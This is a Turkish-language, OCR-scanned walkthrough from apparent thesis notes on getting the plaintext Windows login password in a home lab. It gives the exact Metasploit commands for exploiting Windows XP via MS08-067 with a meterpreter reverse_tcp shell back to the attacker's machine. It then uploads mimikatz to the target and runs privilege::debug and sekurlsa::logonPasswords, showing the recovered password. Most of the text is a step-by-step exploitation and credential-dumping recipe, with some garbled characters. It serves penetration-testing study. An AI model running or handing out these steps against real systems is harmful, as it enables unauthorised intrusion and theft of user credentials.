Windows Parolasinin Direk Acik Halini Ele Gecirme (Mimikatz)
(+) Bu belgedeki iglemler birebir denenmistir ve basarili olunmustur

Tez Raporu/Internetten Edinilen Kiymetli Bilgiler/Elden Gegirdigim Notlarim/Ubuntu'dan SAM
Dosyasini Cekme.docx belgesinde Windows parolasinin hash haliyle nasil ¢ekilebileceginden ve bu
hash'in nasil kirilip sifrenin elde edilebileceginden bahsedilmisti. $imdi ise windows parolasinin
hash halini degil de direk acik halini nasil elde edebilecegimizden bahsedilecektir.

Oncelikle yapilacak islemlere deginelim. Ilk olarak parolas: alinacak hedef sisteme bir exploit ile
sizacagiz. Bunun akabinde meterpreter ya da sysinternal psexec adli payload'lardan birini sisteme
birakacagiz. Hedef sisteme birakilan payload'u kullanarak mimikatz adli tool'u hedef sisteme
upload'layacagiz ve bu upload'lanan tool iizerinden hedef sistemin parolasini kusursuzca
makinamiza ¢ekecegiz. Bu igslemler sirasinda kullanilacak isletim sistemleri sunlardir:

- Windows XP
- Kali (En Eski) //" kali-linux-1.0.4-amd64.iso

NOT: mimikatz tool'u Windows 7'de dahi calisabilmektedir. Fakat Windows 7'ye sizmak icin
gerekli exploit'i bilmedigimden Windows XP iizerinden iglemleri yiiriitecegim.
Simdi Virtualbox ile Windows XP'yi ve Kali'yi acalim ve Kali'den metasploit'i baslatalim.
> service postgresql start
> service metasploit start
> msfconsole
Ardindan mimikatz tool'unun zip halini indirelim.
https://github.com/gentilkiwi/mimikatz/releases/tag/2.1.0-alpha-201606013
( /home/hefese/Downloads/mimikatz_trunk.zip dizininden de dosyay1 edinebilirsin )
Inen zip dosyasimin agalim.
> unzip mimikatz_trunk.zip
(ikan dosyalar1 mimikatz_trunk klasoriiyle toplayalim. Boylelikle Kali'yi hazir duruma getirmis
oluruz. Artik metasploit ile Windows XP'ye sizabiliriz. Metasploit'e asagidaki komutlari sirasiyla
girelim.
msf > use exploit/windows/smb/ms08_067_netapi
msf (ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
msf (ms08_067_netapi) > set LHOST 192.168.0.21 // Kali IP'si

msf (ms08_067_netapi) > set RHOST 192.168.0.22 // Win XP (Dandik) IP'si
msf (ms08_067_netapi) > exploit



Sizma islemi sonrasi Kali'deki komut satirimiza meterpreter payload'u gelecektir.
meterpreter >

Simdi meterpreter'in upload komutunu kullanarak mimikatz_trunk dosyasinm oldugu gibi sizdigimiz
XP'nin C siiriiciistine atalim.

meterpreter > mkdir C:\\mimikatz_trunk
meterpreter > upload -r /root/Desktop/mimikatz_trunk C:\\mimikatz_trunk

Yukaridaki ilk kodda mkdir ile hedef sistemin C siirticiisiinde mimikatz_trunk adl bir klasor
olusturulur. Bu islemin yapilmasinin nedeni meterpreter'in upload komutunun Kali'deki
mimikatz_trunk klasoriinii oldugu gibi degil de sadece icindeki dosyalar1 upload'lhyor olmasindan
dolayidir. Dosyalar derli toplu dursun diye boyle bir isleme ihtiya¢c duyuldu. Yukaridaki ikinci kod
ile de Kali'deki mimikatz dosyalarini hedef sistemde olusturdugumuz mimikatz_trunk klasériiniin
icerisine yollamis olduk. upload komutundaki -r parametresinin kullanilmasinin nedeni upload'in alt

klasorleri de kapsayacak sekilde recursive olarak yapilmasini saglamak icindir. Boylece hedef
sisteme mimikatz" atmis olduk. Sira geldi mimikatz' hedef sistemde ¢alistirmaya.

Mimikatz'1 ¢calistirmak igin hedef sistemin komut satirin1 komut satirimiza getirecek olan shell
komutunu girelim.

meterpreter > shell

Boylece Kali'deki komut satirimiz soyle olacaktir:
C:\WINDOWS\system32 >

Simdi hedef sistemde mimikatz.exe'nin yer aldig1 dizine gecis yapalim.
C:\WINDOWS\system32 > cd C:\mimikatz_trunk\Win32

Daha sonra hedef sistemde mimikatz.exe'yi calistiralim.
C:\mimikatz_trunk\Win32 > mimikatz.exe

Output:

root@kali: ~
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Goriildiigii tizere konsol mimikatz moduna ge¢mistir:

mimikatz #
Simdi sirayla asagidaki kodlar1 bu moddayken girelim ve boylece hedef isletim sisteminin
parolasini agik bir sekilde elde edelim:

mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords full

Output:

root@kali: ~
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id
: PENTEST-WINXP

Gortildiigii izere XP'nin username'inin pentest oldugu ve parolasinin da pentest string'i oldugu
tespit edilebilmistir (Zaten XP Dandik'e pentest sifresini girerek login oluyordum). Boylece s1zilan
sistemin SAM dosyasini ¢ekip yerel sistemimizde John The Ripper ile kirma islemi yapma gibi
kiilfetlere girmeden sadece mimikatz tool'unu kullanarak kusursuzca hedef sistemin sifresini elde
edebilmis olduk. Bunu boyle kiilfetlere girmeden yapabilmemizin nedeni Windows igletim
sistemlerinin sistem agikken oturum parolasinin terslenebilir halini RAM iizerinde tutuyor
olmalarindan dolayidir. Bu nedenle mimikatz tool'u ¢ok az bir kiilfetle hedef sistemin RAM'inden
terslenebilir parolay: cekip terslemistir ve sifre elimize diiz metin olarak gecebilmistir.

NOT: Hash'ler terslenemezdirler. Yani bir hash'ten tersine desifreleme yaparak asil sifre elde
edilemez. Bunun yerine sirayla olasi parolalar hash'lenir ve mevcut hash'le eslesiyor mu diye
kontrol edilir. Ne zaman eglesme olursa hash'lenen o string paroladir denir. O yiizden SAM
dosyasini kullanarak sifre kirma iglemi uzundur, zahmetlidir. Halbuki RAM'de tutulan windows
parolasi terslenebilir formatta bulundugundan mimikatz tool'u kolaylikla tersleme islemini yapip
parolay1 bize diiz metin olarak verebilmektedir.

NOT 2: Yukanidaki ¢iktida goriinmeyen, fakat ¢iktida yer alan bagka bir siirii seyler vardir. Onlar
Windows XP'nin servislerine ait olan hesap bilgileri oldugundan ve kalabalik olusturdugundan
burada yer verilmemistir.
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e Tez Raporu/Literatiir Taramasy/incelenmis Makaleler/BGA/Linux, Windows ve Ag
Sistemleri Si1zma Testleri.docx belgesi
e Tez Raporw/internetten Edinilmis Kiymetli Bilgiler/Elden Ge¢igim Notlarim/Metasploit
Saldin Asamalan ve Saldinn Ornegi.docx belgesi
e https://en.wikibooks.org/wiki/Metasploit/MeterpreterClient#mkdir
e http://www.hacking-tutorial.com/tips-and-trick/13-metasploit-meterpreter-file-system-
command-you-should-know/#sthash.WsqX83XJ.dpbs  // upload'in -r parametresi
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